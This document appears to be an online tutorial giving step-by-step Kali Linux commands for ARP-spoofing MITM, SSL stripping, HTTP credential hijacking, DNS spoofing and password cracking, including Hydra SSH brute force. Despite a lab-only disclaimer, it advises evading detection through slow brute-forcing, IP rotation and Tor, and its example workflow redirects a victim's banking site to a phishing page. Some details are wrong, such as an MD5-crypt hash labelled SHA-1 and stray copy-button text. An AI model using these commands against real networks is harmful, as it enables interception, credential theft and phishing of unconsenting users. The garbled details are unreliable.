Here’s a guide to conducting man-in-the-middle (MITM) attacks, DNS spoofing, and password cracking using Kali Linux. Note : These techniques are for ethical hacking purposes only and must be performed in a controlled lab environment with proper authorization.

---

1. Man-in-the-Middle (MITM) Attack

Objective : Intercept and manipulate traffic between a victim and a target server.

Tools :

• Ettercap : GUI/CLI tool for ARP spoofing.
• Bettercap : Modern MITM framework.
• Wireshark : Capture and analyze intercepted traffic.

Steps :

A. ARP Spoofing (MITM Setup)

1. Enable IP Forwarding (to route traffic):
   • echo 1 > /proc/sys/net/ipv4/ip_forward
2. Use Bettercap to perform ARP spoofing:
   • bettercap -iface eth0 -eval “set arp.spoof.targets 192.168.1.100; arp.spoof on”
     • Replace 192.168.1.100 with the victim’s IP.
     • The default gateway (router) will be spoofed automatically.
3. Capture HTTP Traffic :
   • bettercap -eval “http.hijack on; http.proxy on”
     • This will redirect HTTP traffic to your machine and log credentials.

B. SSL Stripping (Bypass HTTPS)

bettercap -eval “set https.strip true; https.proxy on”

• Forces HTTPS traffic to downgrade to HTTP, exposing sensitive data.

C. Wireshark Analysis :

wireshark

• Capture traffic on the interface (e.g., eth0).
• Filter for http or tcp to analyze intercepted data.

---

2. DNS Spoofing (DNS Poisoning)

Objective : Redirect a victim’s domain requests to a malicious IP.

Tools :

• Bettercap : Simple DNS spoofing.
• dnsmasq : Lightweight DNS server for fake entries.
• iptables : Redirect DNS traffic.

Steps :

A. Using Bettercap

1. Spoof DNS Requests :
   • bettercap -eval “dns.spoof.domains google.com:192.168.1.100; dns.spoof on”
     • Replace google.com with the target domain and 192.168.1.100 with your malicious IP.
2. Test the Spoof :
   • When the victim visits google.com, they’ll be redirected to your IP.

B. Using Dnsmasq

1. Install dnsmasq :
   • sudo apt install dnsmasq
2. Configure dnsmasq :
   • sudo nano /etc/dnsmasq.conf
   • # Add the following line to redirect example.com to your IP:
   • address=/example.com/192.168.1.100
3. Restart dnsmasq :
   • sudo systemctl restart dnsmasq
4. Redirect DNS Traffic (using iptables):
   • sudo iptables -t nat -A PREROUTING -p udp –dport 53 -j DNAT –to-destination 192.168.1.100

---

3. Password Cracking

Objective : Recover passwords from captured hashes or brute-force weak credentials.

Tools :

• John the Ripper : Fast CPU-based cracking.
• Hashcat : GPU-accelerated cracking.
• Hydra : Brute-force network services (SSH, FTP, etc.).

Steps :

A. Cracking Hashes with John the Ripper

1. Obtain Hashes (e.g., from a captured file or a vulnerable service):
   • # Example hash (SHA-1):$1$abcdefghijklmnopqrstuvwxyz
2. Crack with John :bashCopy1john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt

B. GPU-Accelerated Cracking with Hashcat

1. Install Hashcat (if not pre-installed in Kali):
   • sudo apt install hashcat
2. Crack a Hash (e.g., SHA-1):
   • hashcat -m 100 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt
     • -m 100 specifies the hash type (SHA-1).
     • -a 0 uses a dictionary attack.

C. Brute-Force SSH with Hydra

1. Brute-force SSH :
   • hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh
     • Replace admin with the username to target.

D. Cracking NTLM Hashes (Windows)

1. Use Hashcat :
   • hashcat -m 1000 -a 0 -o cracked.txt ntlm_hash.txt /usr/share/wordlists/rockyou.txt
     • -m 1000 specifies NTLM hashes.

---

Quick Reference Table

Technique	Tool	Command/Usage
ARP Spoofing	Bettercap	bettercap -eval "arp.spoof on"
DNS Spoofing	Bettercap	bettercap -eval "dns.spoof. domains google.com:mal_ip; dns.spoof on"
SSL Stripping	Bettercap	bettercap -eval "https.strip on"
John the Ripper	John	john --wordlist=rockyou.txt hash.txt
Hashcat	Hashcat	hashcat -m 0 -a 0 hash.txt rockyou.txt
Hydra SSH	Hydra	hydra -l user -P pass.txt 192.168.1.100 ssh

---

Best Practices

1. Ethical Compliance :
   • Authorization : Only test systems you own or with explicit permission.
   • Scope : Define clear boundaries to avoid unintended damage.
2. Legal Risks :
   • Do not perform these attacks on unauthorized networks or systems.
   • Report findings to the affected organization if authorized.
3. Avoid Detection :
   • Use slow brute-force rates to avoid triggering alarms.
   • Rotate IPs or use Tor for anonymity (if legal).
4. Use VMs :
   • Test in a virtual lab (e.g., Metasploitable VM) to isolate risks.

---

Example Workflow

1. MITM Attack :
   • Use Bettercap to intercept traffic between a victim and a website.
   • Capture credentials via HTTP hijacking.
2. DNS Spoofing :
   • Redirect the victim’s banking site to a phishing page.
3. Password Cracking :
   • Use captured hashes to crack passwords with Hashcat.

---

Practice Resources

• Tools :
  • Kali Linux : Pre-installed tools for MITM and cracking.
  • Metasploitable VM : A vulnerable VM for testing.
• Platforms :
  • Hack The Box (Practice MITM and password cracking).
  • TryHackMe (Rooms like “MITM” and “Password Cracking”).

---

Final Notes

• Stay Updated : Follow CVE databases (e.g., CVE Details ).
• Automate : Write scripts for repetitive tasks (e.g., hash cracking loops).
• Join Communities : Engage with Offensive Security or Reddit’s r/NetSecpentest .

By mastering these techniques, you’ll gain insight into network vulnerabilities and the importance of secure configurations. Always prioritize ethical and legal compliance ! 🔍🛡️